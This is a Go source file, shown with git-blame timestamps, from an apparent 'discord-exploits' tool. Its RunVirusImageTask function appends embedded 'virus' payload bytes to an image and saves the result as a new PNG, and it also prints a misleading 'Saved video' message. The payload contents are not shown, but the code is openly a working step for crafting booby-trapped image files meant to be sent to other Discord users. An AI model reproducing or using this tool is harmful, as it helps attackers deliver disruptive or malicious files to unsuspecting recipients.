2021-01-08 20:20:04 +00:00
|
|
|
package exploits
|
|
|
|
|
|
|
|
import (
|
2021-04-05 12:24:52 +00:00
|
|
|
_ "embed" // embed
|
2021-01-08 20:20:04 +00:00
|
|
|
"fmt"
|
2021-01-11 11:21:44 +00:00
|
|
|
"github.com/Schmenn/discord-exploits/modules"
|
2021-01-08 20:20:04 +00:00
|
|
|
"os"
|
|
|
|
)
|
|
|
|
|
2021-04-05 12:24:52 +00:00
|
|
|
var (
|
|
|
|
//go:embed virus1.txt
|
|
|
|
vpng1 []byte
|
|
|
|
//go:embed virus2.txt
|
|
|
|
vpng2 []byte
|
|
|
|
vpng = append(vpng1, vpng2...)
|
|
|
|
)
|
|
|
|
|
2021-01-08 20:20:04 +00:00
|
|
|
// RunVirusImageTask edits file
|
|
|
|
func RunVirusImageTask(fileName string) {
|
2021-03-23 11:45:20 +00:00
|
|
|
data, err := os.ReadFile(fileName)
|
2021-01-10 20:18:44 +00:00
|
|
|
modules.Check(err)
|
2021-03-30 12:04:30 +00:00
|
|
|
data = append(data, vpng...)
|
|
|
|
name := modules.CreateName("png")
|
2021-04-05 12:24:52 +00:00
|
|
|
fmt.Println("Saved video to: " + name)
|
2021-03-30 12:04:30 +00:00
|
|
|
err = os.WriteFile(name, data, os.FileMode(0777))
|
|
|
|
if err != nil {
|
|
|
|
panic(err)
|
|
|
|
}
|
|
|
|
}
|